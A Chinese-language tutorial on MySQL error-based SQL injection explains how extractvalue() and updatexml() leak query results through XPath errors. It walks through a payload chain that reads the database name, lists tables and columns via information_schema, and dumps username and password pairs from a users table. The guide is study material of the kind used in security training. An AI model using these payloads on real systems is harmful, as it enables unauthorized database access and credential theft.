sql注入之报错注入
报错注入原理
报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的。
在遇到有报错回显,但是没有数据回显的情况下可以利用。
报错注入的函数
- floor() :向下取整
- extractvalue():对XML文档进行查询的函数,当参数的格式不正确而产生的错误,会返回参数的信息
函数语法:extractvalue(XML_document,XPath_string)
payload:and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
- updatexml():更新xml文档的函数,原理跟extracvalue一样。
函数语法:updatexml(XML_document, XPath_string, new_value)
payload:updatexml(1,concat(0x7e,(select user()),0x7e),1)
前后添加~使其不符合xpath格式从而报错。 - exp():以e为底的指数函数
- rand()+group()+count()
报错注入流程
- 查数据库名:
and extractvalue(1,concat(0x7e,(select database())))
或
and updatexml(1,concat(0x7e,(select database())),1) --+
注:extractvalue()接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器),它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。
第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径。
如果要让extractvalue()这个函数产设错误并报告就需要在使用过程中有语法错误,即使用这个语法中本身不含有或者不支持的字符。
在ASCII码表中,0x7e这个十六进制数代表符号 ~ ,~这个符号在xpath语法中是不存在的,因此总能报错。
2. 爆表名:and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
或者and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+
3. 爆列名:and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+
或者and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) --+
注:使用group_concat的形式对字段进行操作后使得查询出来的字段太长,会造成缺省。可以通过mid函数来解决。
MID 函数用于从文本字段中提取字符。
mid()函数语法如下:SELECT MID(column_name,start[,length]) FROM table_name
其中第一个参数是要提取的表名,第二个参数为起始位置,第三个参数为返回的字符个数。
上述语句可改为:and extractvalue(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31))) --+
若仍未显示完全,可以通过改变起始位置的参数来调整显示文本。
4. 爆值: and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a, password) from users))) --+
或者and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1) --+